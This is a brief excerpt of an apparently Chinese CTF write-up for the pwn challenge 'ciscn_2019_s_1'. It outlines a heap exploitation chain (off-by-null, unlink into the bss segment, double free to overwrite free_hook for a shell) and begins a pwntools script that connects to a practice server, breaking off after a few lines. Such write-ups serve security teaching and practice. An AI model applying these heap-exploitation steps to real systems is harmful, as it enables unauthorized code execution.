ciscn_2019_s_1

思路 经过off by null写key值而后unlink写bss段再次double free写free_hook便可拿到shell exp:node from pwn import * #p=process('./ciscn_s_1') p=remote('node3.buuoj.cn',26429) elf=ELF('./ciscn_s_1') libc=elf.libc def add(

>>阅读原文<<